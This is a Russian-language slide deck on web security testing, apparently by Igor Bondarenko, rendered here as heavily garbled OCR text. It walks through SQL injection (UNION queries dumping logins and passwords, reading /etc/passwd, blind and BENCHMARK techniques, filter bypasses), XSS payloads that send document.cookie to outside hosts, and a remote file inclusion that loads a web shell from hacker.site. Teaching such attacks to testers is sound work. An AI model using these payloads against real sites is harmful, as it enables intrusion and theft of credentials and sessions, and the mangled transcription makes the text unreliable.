TecTnpoBaHume 3alLMNLLEHHOCTMN.

Bce npouwie 4yeM KaxeTtcq.

Nropb BoHaapeHko. Intetics Co.




3a4eM HYXXHO TeCTUPOBaAThb
3alULLEeHHOCTb

90% cauToB onacHbI ANnA Nonb3oBaTerien U NpeacTaBnAOT
yrposy ousHecy.

43% canToB HEe MOryT XpaHUTb KOH(hNAeHUNaNbHYO
nHc¢popmauuro B B/.

80% BebmacTtepoB He OOHOBRAKT Opensource NPOAYKTbI
BOBpeMs.

99,9% cautoB, KOTOpPbIe UMEKOT YA3BUMOCTb, UMEIOT eLye
HEeCKOJIbKO YyA3BUMOCTEMN.

48% cepBepoB UMEKOT YA3BUMOCTU Ha YPOBHE onepauuoHHOMU
CUCTEMbI U NPUSTOXKEHUMN.




SQL Injection

 BHegpeHune SQL-koga — oguH 13 pacnpocTpaHEHHbIX
cnocoboB B3fioMa canToB K NporpamMmm, padboTtarLwmx ¢
6aszamun gaHHbIX, OCHOBaHHbLIM HA BHEOPEHUN B 3anpocC
npoun3BonbHoro SQL-koaa.
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ﬁ_ghp?id=3'+limit+0+ union+select+1,group_concat(0x3¢62723¢,concat_ws(0x207c20,login,password)),3,4+from+users+--+a

for (i =n; 1< k; i++)

v ) { A3bIKK 1
wViSUd Studio 2010 if (lines[i] > max) { max = lines[i]; j = i; }

life-prog.ru !

if (lines[j] - lines[j - 1] >= G5 && lines[j] - line

Bbi MoXeTe [oSasute I'magmas =~ Texcrel crarei Jo6aeuts cratbn  CraTHCTHKA

caifT B Hall KaTanor
fobasuts & usbpaHHoe dyalex | 9b5d3 d05f096h3p6f,

admin | e388f02f7 da01eb3p6f,
TporpammupoBarne admins | e388{02{7 da0leb3p6f

® Asbiku
NporpaMMnUpoBaHng

® Bugeo vpoxu php
mysql

® Nackans
®Cu




ApXuUTeKkTypa ya3smuMocTtun tuna SQL
Injection

YassumocTtb TMna SQL Injection

SQL Injection Blind SQL injection
Blind SQL Double-Blind
injection SQL injection




[IpocTenwnm cnocob
OBbHAPYXUTb YA3BUMOCTb

Nob6aBnsiem ogMHapPHYIO KaBbI4KYy K 3anpocy.
 http://www.site.com/?id=1°¢

MNony4yaem owmnOKy TUNA:

« Warning: mysql_fetch_object(): supplied argument is not a
valid MySQL result resource in
/home/mysite/www/htdocs/include/lib/news.php

Nnwu
 Bugum Ty e camMylo CTPaHuMLUYy 4YTO U MO CCbIJIKe
http://www.site.com/?id=1



http://www.site.com/?id=1

[ToueMy TaK NponcxoanT?

query =
"SELECT * FROM news WHERE id =

SELECT * FROM news WHERE id = '1"




Kakune euwe ectb cnocobol
NpoBEepKn?

icnonb3oBaHWe NPOCTbIX apudPMeTNYECKUX onepaumn B

3aripoce.
site.com/index.php?id=2-1(BbiBognT CcTpaHuyy 1)
site.com/index.php?id=1*2(BbiBoANT CTpaHuuy 2)
site.com/index.php?id=1+and+1=1(BbiBognt cTpaHuyy 1)

icnonb3oBaHMe COPTUPOBKU B 3anpoce:
site.com/index.php?showthread=285+0ORDER+BY+1--+

[TogcTtaHoBka 6eccmbicrieHHON MHdopMaLmMn B 3anpoc
site.com/index.php?id=1 anything (BbiBognut cooblyeHmne o6 owmnbke)




KakK 3TUM MNosib30BaTbCA?

/?1d=1" UNION SELECT user,password FROM users--

SELECT title,text FROM news WHERE id = '1"

SELECT title,text FROM news WHERE id ="1"
UNION
SELECT user,password FROM users




Blind SQL injection

° TeCTI/IpOBaHI/Ie NCTUHHbIX N JNTOXHbIX 3alpOCOB:
« site.com/index.php?id=2"AND ‘1’ = '1"--
« site.com/index.php?id=2"AND '1'="2’--

* BbiBOO MHOpMauun B oT4eTe 00 oLLmMbKax:

« site.com/index.php?id=2" OR (SELECT COUNT(*)
FROM (SELECT 1 UNION SELECT 2 UNION
SELECT 3)x GROUP BY MID(VERSION(),
FLOOR(RAND(0)*2), 64)) --

Duplicate entry '5.0.45" for key 1




Double-blind injection

* [locumBOnNbHLIN NEpPebOp C NOMOLLLIO
Benchmark:

« site.com/index.php?id=2"OR id=
IF(ASCII(SUBSTRING((SELECT USER()), 1,
1)))>=100, 1,

BENCHMARK(2999999,MD5(NOW()))) -

* Cnocob HaBpeanTtb cepBepy bl:

« Ssite.com/index.php?id=2"AND
BENCHMARK(100000,
BENCHMARK(100000,md5(current_time)))




Ha 4To ele obpawaTb
BHUMAHue?

http://www.gooqgle.com/search?g=inurl:select+inurl:%2520+inurl:from+inurl:whe
re

\ (' It 2 ([:f; http:/fwww.safetyseal.net/pub_QandA.asp?sqgl=S5elect+*+from+pubQandA+where+ OKtoView+ %30+1+ Order+ by+DatePosted+ Desc8istartwith=20 )
el . ™ -

We will display questions received from our visitors in this section. If you are a member of the Auxiliary and have guestions, please ask them in the Member's Q8A area.

A FEW RULES: Mo questions are made public until they have been researched and we have an answer, so if you are just posting SPAM or any form of junk advertising, it will be de
answer questions relating to federal requirements for recreational boats. Requirements that are state or local are best answered by the state or local agency, since we have no corr
cannot answer questions about requirements for commercial vessels and Uninspected Passenger Vesselss as they are not under our program for recreational boats.

Do not ask a question if it is already in our database. First search our database to see if we have already received and responded to a similar question from anothe
Click Here and search with the key words that may be found in your question.

To ask a question not found in our database, Click Here and if it is germane to the subject as listed under the rules, and we can come up with an answer, it will be posted.

UPV Inspection , posted: 10/9/2007

Question: | understand it is possible to have a VSC done for a boat. However | am considering starting a charter business is there saftey checks other than this that ¢
6 paid passengers but | was wondering if the coast guard still will do inspections of my boat or if it is necessary. Chicago, IL. Thanks.

Answer: Specially trained members of the Coast Guard including some Auxiliarists do perform what is called a "Uninspected Passenger Vessel” (UPV) inspection. C
business hours af: 630-986-2155 for more information.
George R Bores, BC-VTR



http://www.google.com/search?q=inurl:select+inurl: +inurl:from+inurl:where
http://www.google.com/search?q=inurl:select+inurl: +inurl:from+inurl:where

[TpakTunKa,

nnn SQL Injection rnazaMmun 310yMblILNIEHHUKA

OnpepgerneHne Tuna 6a3sbl JaHHbIX

[1lpoBepKka npaB Nornb3oBaTens Ha 3annucb
doannos

[Toabop KonnyecTBa CTONoOLIOB

OnpegenexHne BbIBOAA Ha 9KpaH
[Tony4yeHne nHdopmaunm o Tabnumuax

[Tony4vyeHue MHpopmMaunn O KOJIoHKax B
Tpebyemown Tabnuue

[NonyyeHne AaHHbIX U3 TabnMUbl U BbIBOA Ha
9KpaH




OWwnbKN XapaKTepHble A1 pa3HbIX
BMAOB 6a3 AAHHbIX

bird

PyHKLMK: [Microsoft][ODB [Microsoft][ODB
pg_exec() C Microsoft C SQL Server
pg_numrows() Access Driver] Driver]

nnm

Microsoft JET

Database

Engine error

ibase_query() ORA-01756 Sybase error

ibase_fetch_obj (M BooGLie sybase_query()

ect() Bcskue ORA) sybase _num_ro
ws()




[Ton6op kKonnyectBa
CTON16L0B

1. NMpocTon nepebop
dortycmumM y Hac ecmb calim ¢ UHbekuueu:

www.site.com/index.php?id=1"
BbinonHaem Takomn 3anpoc

www.site.com/index.php?id=-1+UNION+SELECT+1,2,3 --

ecsiu nosisusacb owubka, mo yeesu4yueaemM Kosiu4ecmeo KOJIOHOK Ha
OOHYy

www.site.com/index.php?id=-1+UNION+SELECT+1,2,3,4 --

U mak rnoka He uc4yesHem owubka u nosseumcsi nycmasi cmpaHuua




2. OnepaTtop ORDER BY

www.Site.com/index.php?id=-1+order+by+1--
owubku Hem, 3Ha4yum cmonbuyoe 1 unu 6onbwe 1

www.site.com/index.php?id=-1+order+by+9999--
doJmKHa nosieumcsi owubka, 3Ha4um cmosibyos meHbwe 9999

Lanee nodbupaem maxkum obpa3om rpasusibHoe Koriu4ecmaeo, rnpeororoxum 8
Hawewm criydae 4 cmonbua, moada:

www.site.com/index.php?id=-1+order+by+4--
(owubku He 6ydem)
www.site.com/index.php?id=-1+order+by+5--
(owubka ecmb)




OnpepneneHve BbIBOAA

[lpednonoxum mbi nodobpariu Koru4ecmeso cmosnbuos u Ux okasasock 4

www.site.com/index.php?id=-1+union+select+null,null,null,null

Tenepb Hac UHMepecyem 8 Kakoli Hacmu cmpaHUUbl, Kakasi KOrloHKa
gbigooumecs. [ns amoa2o nodcmasumMm emecmo 00HO020 u3 null —
rpou3e0sibHbIU Habop cumeorios, 8 Hawem criydae «111»

www.site.com/index.php?id=-1+union+select+null,111,null,null--




[TonydyaeM MHPOpMaLUo O
BEPCUMN U NOJIb30BaTesNe

Lns nonyyeHus uHghopMmayuu 0 meKyuw,em rnosb3osamersie Ucrosib3yemcsi
yHkuus user()

www.site.com/index.php?id=-1+union+select+null,user(),null,null--

Lns onpederneHus eepcuu ucronb3yemcs yHkyus version()

www.site.com/index.php?id=-1+union+select+null,user(),null,null--




YTeHne n 3anmcb danios

lIpoeepka 803MOXKHOCMU YMmeHusi/3anucu ¢halsos:

www.site.com/index.php?id=-
1+union+select+null file_priv,null,null+union+select+file_priv+from+
mysqgl.user+where+user= %USERNAME%'--

UmeHue ¢hauna

www.site.com/index.php?id=-
1+union+select+null,file_priv,null,null+union+select+
union+select+LOAD_FILE('/etc/passwd'’)+from+mysql.user--




Y3HaeM Tabnunubl

Ans nonyyeHusi uHghopmauyuu o mabnuuyax u KOJIoHKax Heo6xoo0umMo
obpamumabcs k cnyxebHou mabnuue Information_schema

www.site.com/index.php?id=-
1+union+select+null, TABLE_NAME,null,null+from+INFO

RMATION_SCHEMA.TABLES--

Takum 3anpocom Mbi y3HaémM nepeayro mabsauyy, Ho HaM Ha0o y3Hamb
u dpyaue

www.site.com/index.php?id=-
1+union+select+null, TABLE_NAME,null,null+from+INFO
RMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1--




[TonydyaeM MHPOpMaLUo O
KOJTOHKaX

[lepebpas mabrnuuekl, orpedensseM my Komopasi HaM 6yoem UHmMepecHa.
[lycmb amo 6ydem USER, umo mpebyemcs Onsi nonydYeHusi uHghopmauuu
O KOJTOHKaxX:

www.site.com/index.php?id=-1+union+select+null, COLUMN_NAME,null,null+from+INF
ORMATION_SCHEMA.COLUMNS--

Takum obpf3om MbI 8618600UM Ha38aHUSsT KOJTOHOK ecex mabnuy. Ho Ham
Hado y3Hame UMeHa KO/IOHOK UMeHHO 8 mabnuue USER
U3meHsiem HeMHO20 Haw 3arpoc 0obaersis 8 Heao onepamop WHERE:

www.site.com/index.php?id=-1+union+select+null, COLUMN_NAME,null,null+from+INF
ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'--

[Nosisumcsi umsi nepsou KosioHKU 8 mabriuye user u darnee 0obaeariss
LIMIT+OFFSET y3Haém ece KOIOHKU.




OunbTpaunga KaBblyek

Yaule Bcero, npogenas OeUCTBUSA ONMMUCaHHbIe Ha Npeablayuem crnange, Bol
yBUauTe OLnNBKY:

ERROR: syntax error at or near "user" at character 122

http://www.paulschou.com/tools/xlate/

www.site.com/index.php?id=-
1+union+select+nul, COLUMN NAME, null,null+from+INF ORMATION SCHEMA.CO
LUMNS+where+TABLE NAME=chr(117)| |chr(115)||chr(101)||chr(114)--



http://www.paulschou.com/tools/xlate/
http://www.paulschou.com/tools/xlate/
http://www.paulschou.com/tools/xlate/

OunbTpaunga KaBblyek

BTopoli cnoco6: ncnonb3oBaHne BROXEHHOro noasanpoca

www.site.com/index.php?id=-
1+union+select+null, COLUMN NAME . null,null+from+INF ORMAT]I
ON SCHEMA.COLUMNS+where+TABLE NAME=(select+TABLE
NAME+FROM+INFORMATION SCHEMA.TABLES+|limit+1+offset+

l):




dOunbTaunsa npobesios

B cnyyae dounerpauum npobenos CyLEeCTBYIOT crieayroLwwmnm cnocodbbl obxoaa
douneTtpa:
cnonb3oBaHne NpobenbHbIX CUMBOMNOB «/*1*/» n «/**/»
SELECT * FROM news WHERE
id="1"/**/UNION/**/SELECT/**/1,2,3,4,5,6/**/FROM/**/Users/**/WHERE/**/login="admi
n'#’
nnu
SELECT * FROM news WHERE
id="1'/*IUNION*/SELECT/*'1,2,3,4,5,6*/FROM/*!Users*/WHERE/*!login="admin"/#'
Ncnonb3oBaHne CMMBOOB Tabynsaunm:
%09 — Tabynsauus
%0A — cumBoOn HOBOW CTPOKa
%0D — Bo3BpaT KapeTKku
%0B — BepTuKkanbHaga Tabynaums
%0C — cMMBON HOBOW CTpaHULbI

http://xxx/news.php?id=1'%09UNION%09SELECT%091,2,3,4,5,6%09FROM%09Users%
0 OWHERE%09login="admin'#




[MonyyeHne nHdopMaumm n3 Tabnuubl

CocmaerisieMm 3arpoc:

www.site.com/index.php?id=-
1+union+select+null,username,null,null+from+user--

OH 8038pamum Ham 8 daHHOM cJrly4ae UMS rofib308amerisi
MoxHO 06beduHsIMb 2 U 60s1€€e KOJIOHKU pa30esisisi ux crey CUM8OJIOM

www.site.com/index.php?id=-
1+union+select+null,username||chr(58)||email,null, null+from+user--

Mol yBuanM 3anucb Tuna Login:email




YA3BMMOCTb B CKpUMTE aBTOpM3aLInmU

lone esoda umeHu nosib308amerisi:
« Username’-

NMone BBOOa napons:
« 123'OR login='"Admin' —
e %




[leMoHCcTpauua npumepoB




[TporpaMMbl Ansa paboTbl C
MHBbEKLNSIMU

SQL InjectMe — nnaruH gnsa Firefox
Absinthe — ytunuta gna nposegeHus atak tuna SQL Injection
SQL checker — aHanunsaTtop BO3MOXHOCTU BHeapeHna SQL koga




XSS (Cross Site Scripting — «MeXcanToBbIA CKPUNTUHIY ) — TUM

YA3BMMOCTUN UHTEPAKTUBHBIX MHOPMaLMOHHbBIX CUCTEM B Bebe.
XSS BO3HMKAET, Korga B reHepupyemMble CEpBEPOM CTPaHULbI MO
KakoOW-TO NpUYNHE NnonaaatoT nonb3oBaTenbCkne CKpUNThI.




r
¢
E

XSS
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http://twitter.com

/RainbowTwir#@"onmouseover="javas
cript:alert('CSIS');"/

The page at httpsy//twitter.com says:
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® 2010 Twitter
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e



XSS

BbINONHUTL «4y>XepoaHbln>» JavaScript-koa B bpay3epe KNEHTa,
Koraa oH HaxoAuMTCs Ha aTaKyeMoM cauTe

« Kak aTto cpenaTtb?

BHeapuTb Kyaa-Hmbyab oparMeHT Koga Tuna
<script>...</script>
<a onmouseover=",.."/>
<img src="javascript:..."/>




Knaccnpumnkaumsa XSS

AKTUBHbIN XSS

— BHeapeHHbIN CKPUNT COXPaHSAETCA B CUCTEME WU CTAHOBUTCS AOCTYrEH
ANS BbiBOAA APYrMM Mosb30BaTeNsaM

 [laccuBHbIN XSS

— CKkpunT nepepaetca cucreMe B napametpax HTTP-3anpoca ¢
nocneaywwmm nx sbiBogoM B HTML-cTpaHuuy.




HeM Mbl puckyem?

Kpaxa Cookies

var img = new Image();
img.src = 'http://site/xss.php?' + document.cookie;

Kpaxa ayTeHTU(pMKaLMOHHbIX OaHHbIX

— pobasneHune obpaboTumnmka cobbITa onsubmit K cywecTsytoLLEeN
dopme

— pobasneHune hopMbl ¢ Npocbbon BBECTU Naposib

I'IepeHanpaBneHMe nonb3oBaTesid Ha CTpaHUuUbl 3NTOYyMbILWITIeHHUKOB

DDOS aTaku




MeToa obHapy>XeHus

[?1d="><script>alert(1)</script>

HTML - kog cTpaHuubl NpUMET BUA,
.. <font size = ""><script>alert(1)</script>"...
B pesynsrate Opay3ep BbINOSHUT CKPUMT.




TUNUYHBIN Cny4Yau

Camas pacnpocTpaHeHHasa pasHoOBUAHOCTb XSS:
"><script>alert()</script>

Bcsa cytb B ">

[Tocne nobaernenus kK gopme "><script>alert()</script> kakon-to
nepeMeHHOW nNpmuceBanmBaeTcs 3HadeHue nong. NepemeHHas
obpabaTtbiBaeTcs, "> 3aKkpblBaeT
CKPUMNT U BbINONHSAET <script>alert()</script>




[ http://frwebgate.access.gpe.gov/cgi-bin/getdoc.cgi?dbname= < script= alert(/xss/) < /script> Bidecid="= <script> alert{/xss/) < /script>




OunnbTpbl: onpenensaem
Han4yme n KavyectBo

B ntoboe none BBoAnM NpoBEPOUHYO CTPOKY: '';1--"<XSSTEST>=&{()}
[anee otkpbiBaem HTML cTpanuubl, nuwiem crnoso "XSSTEST"
N CMOTPMM Ha npuneratowme K HeMy CUMBOJTbI.

Ecnu cumBonblI <> octanucb — 3TO I'IGpBbII7I NPU3HaK HaJIM4nAa ya3BMMOCTHU

Ecnn cumBonsl "'\ ocTannucb TakuMm, Kak Obifin BBEOEHbLI — 3TO BTOPOU
NPU3HaK yA3BMMOCTU (BO3MOXKHO MUCMONb30BaHNE OONOMHUTENBHbIX
CUMBOJOB B nocriegyrowen XSS arake)

Ecnu B HTML, Bbl He OOHapPYXUNK <> - 3TO NPU3HAK OTCYTCTBUS
douneTpaumn.

Ecnun otkpbiB HTML Bbl 06HapyXunu, 4to <> 3aMeHeHbl Ha apyrue
CUMBOIbI — PUNBETP PYHKUNOHUPYET HOPMarbHO.




[TpaKTUKa

« [Honyctum ouneTp aKkpaHupyert <>
B aTOoM cnyyae cylwecTByeT BEpPOATHOCTb 0bxoaa dunesrpa.

K npumepy, unnbTp HAaCTPOEH Ha yaarneHue <script>,<>u .

[1Nna npoBepKM UCMOSb3yeM KOHCTPYKUMIO TUNa <testxss555> u npoBepsiem,
ecnun punsTp He yaanus 3anncb - MOXXHO COCTaBUTb XSS-CKpUMT.

K npumepy BOT Tak:

<sc<script>ript>alert()</sc</script>ript>




ABTO3aKpbiBaKOLWMECA CKOOKM:

>>>><<Sscript

ObIBaET, YTO PUNLTP NOACHMUTBLIBAET OTKPbIBAOLLMECH N 3aKpblBalOLLIMECSH
CKOOKM 1 3aKpblBaeT cam.

ABTO3aKpbITUE TEroB:

BbiBaeT YTO PUNLTP AOMNOMHAET CKPUMT, K NpUMepy BOT 3TUM : ">

http://site.ru/trye.asp?sessionID="><IMG%20SRC="javascript:alert();

duneTp NpoBepsieT, YTo HUYero onacHoro B <IMG%20SRC="javascript:alert();
HeT, 3aKpblBaeT Ter u TeM camMblM BbINOSTHAET BPEAOHOCHbIA CKPUMT.



http://site.ru/trye.asp?sessionID="><IMG SRC="javascript:alert()
http://site.ru/trye.asp?sessionID="><IMG SRC="javascript:alert()
http://site.ru/trye.asp?sessionID="><IMG SRC="javascript:alert()
http://site.ru/trye.asp?sessionID="><IMG SRC="javascript:alert()

Kpaxa Cookies

[o aToro mMbl paccMmaTtpuBan CKpUnTbl TMNa:

<script>alert (' Test ")</script>
javascript:alert (' Test ')/
javascript:alert(' Test ')/1.jpg n Tak ganee..

Tenepb pacCMOTPUM CrieayroLLUN CKPUNT:

<script>

img = new Image();

img.src = "http://test.com/s/Hack.qgif?"+document.cookie;
</script>

B naHHOM Buae ckpunT nepexsaTtbiBaeT cookies nonb3oBaTens.



http://antichat.org/s/HakNet.gif?

KaK BOCMNO/Ib30BAaTbCH 3TUM
CKPUMTOM?

. http://site.ru/free?p="><script>img=new
Image();img.src="http://test.com/s/Hack.qif?"+document.cookie;"+document.cookie;</
script>

. http://site.ru/free?p="><script src=http://test.com/script/js.js></script>

[Tpy aTOM dbaunn jS.jS COOEPXKUT:
iImg=new Image();img.src="http://test.com/s/Hack.qgif?"+document.cookie;
3TOT cnocob bonee HaOEXEH.



https://docs1.google.com/document/d/1RqTG7I9LRLDDr90unnZVOMAMRuk7gZ4g_VILJU9-YmE/edit?hl=en
https://docs1.google.com/document/d/1RqTG7I9LRLDDr90unnZVOMAMRuk7gZ4g_VILJU9-YmE/edit?hl=en
https://docs1.google.com/document/d/1RqTG7I9LRLDDr90unnZVOMAMRuk7gZ4g_VILJU9-YmE/edit?hl=en
http://antichat.org/s/HakNet.gif?
http://antichat.org/s/HakNet.gif?
http://antichat.org/s/HakNet.gif?
http://antichat.org/s/HakNet.gif?
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https://docs1.google.com/document/d/1RqTG7I9LRLDDr90unnZVOMAMRuk7gZ4g_VILJU9-YmE/edit?hl=en
https://docs1.google.com/document/d/1RqTG7I9LRLDDr90unnZVOMAMRuk7gZ4g_VILJU9-YmE/edit?hl=en
http://test.ru/script/js.js
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http://test.ru/script/js.js
http://antichat.org/s/HakNet.gif?
http://antichat.org/s/HakNet.gif?
http://antichat.org/s/HakNet.gif?
http://antichat.org/s/HakNet.gif?
http://antichat.org/s/HakNet.gif?

SOA

DAYS I3MeHeHne KOoANPOBKM

http://ha.ckers.org/xss.html

N3HavanbHO CKpUNT BbIrMsgen Tak:
http://cite.com/test?p="><script src=http://test.com/script/js.js></script>

Mocne:

%68%74%74% 70%3A%2F%2F%63%69% 74%65%2E%63%6F%6D%2F%74%6
5%73% 74%3F%70%3D%27%3E%3C%/73%63% 72%69% /0% 74%20% 73%7
2%63%3D%68%74% 74%70%3A%2F%2F% 74%65% /3% 74%2E%6E%65%7
4%2F%73%63%72%69%70% 74%2F%6A%73%2E%6A%73%3E%3C%2F%7
3%63% 72%69% /0% 74%3E%0A



http://ha.ckers.org/xss.html
https://docs1.google.com/document/d/1RqTG7I9LRLDDr90unnZVOMAMRuk7gZ4g_VILJU9-YmE/edit?hl=en
http://test.net/script/js.js

DDo0S-aTaka

XSS-yaA3BMMOCTb Ha MHOronoceLaeMblX pecypcax MoXeT ObITb UCMOSb30BaHa
ana npoeegeHuss DDoS-atakn. CyTb NpocTa — MHOr0 3anpocoB, KOTOpbIe
He BblOepXXMBaAET aTakyeMbli cepBep.

CobCTBEHHO OTHOLWEHME K XSS nMeeT KOCBEHHOE, MOCKONbKY CKPUNTLI
MOryT U HE UCMONb30BaTbCSA BOBCE, 4OCTAaTOMHO KOHCTPYKUUN BUAA:

<img src="http://site.com/">




[leMoHCcTpauua npumepoB




MHCTpYMEeHTbI ANA
obHapyxeHunsa XSS

« XSSme - agaoH anga Firfox
 DOMinator — aHanusaTtop Hannuina DOM-based XSS




PHP Injection

PHP Injection nnn cosgaHue Beb WennoB — 3TO BTOPOM NO NONYNspHOCTU
nocrie SQL nHbekuyum Tmn ya3BuMOCTEMN.




« Eval()

* Include()

*  Require()

* Create_function()
* Preg_replace()

YAa3BUMble PYHKLNN




Buabl MHKNYO0B

<?

Include ("$page.php");
.. 7?>

Bo3moxeH Remote File Inclusion (RFI)

<?

Include ("files/$page.htm");
. 7>

Bo3moxeH Local File Inclusion (LFI) ¢ ucnonb3oBaHuem Hynn 6auTa

<?..
Include ("$patch/folder/page.php");
7>

Bo3moxeH RFI npu ycnoBun cosgaHua ctpyktypsbl /folder/page.php Ha ypaneHHOM
cepBepe




MeToa onpeneneHns
VA3BUMOCTMU

* index.php?page=shop
[MogctaBum dsdsds BmecTo shop:

Warning: main(dsdsds.php): failed to open stream: No such file or directory in
/home/user/www//page.php on line 3

Warning: main(dsdsds.php): failed to open stream: No such file or directory in
/home/user/www/page.php on line 3

Warning: main(): Failed opening 'dsdsds.php' for inclusion
(include_path=".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear’) in
/home/user/www/page.php on line 3




Beb wenn

OT0 NponcxoauT NOTOMY, YTO KOO, CTPAHWULLbI UMEET TaKOW aNeMeHT
<?

Include ("$page.php™);

7>
Kak aTm Bocnonb30BaTbCA?

index.php?page=http://hacker.site/shell

[Mony4yaem Beb Luens, KOTopbin aeT BO3MOXHOCTb UCMONHATL Ntobble php
KOMaHgbl



http://hacker.site/shell

Bbixon 3a npeaenbl TeKylwero
KaTajiora

Apache Tomcat 5 Bepcun Huxe 5.5.22 n Apache Tomcat 6 Huxe 6.0.10
NoLBEPXEH YA3BMMOCTU MOBOMAIOLLIEN NEPENTU K COLEPKUMOMY
BbILLECTOSALWEN ANPEKTOPUM NMYTEM YKa3aHUA B MyTU KOHCTPyKuum "../".



http://tomcat.apache.org/
http://tomcat.apache.org/
http://tomcat.apache.org/

MHCTpYMEHTbI ANng
obHapyxeHuns

Graudit - ceMaHTU4YECKN-CTaTUYECKNUI aHann3aTop Koda
RIPS — ytunuta gna nonckam yassumocten B PHP koge




[leMoHCcTpauua npumepoB




Bonpochbl?

Email: bondarenko.ihar@yandex.ru
Twitter: @iharbondarenko
Skype: igor.bondarenkol



mailto:bondarenko.ihar@yandex.ru

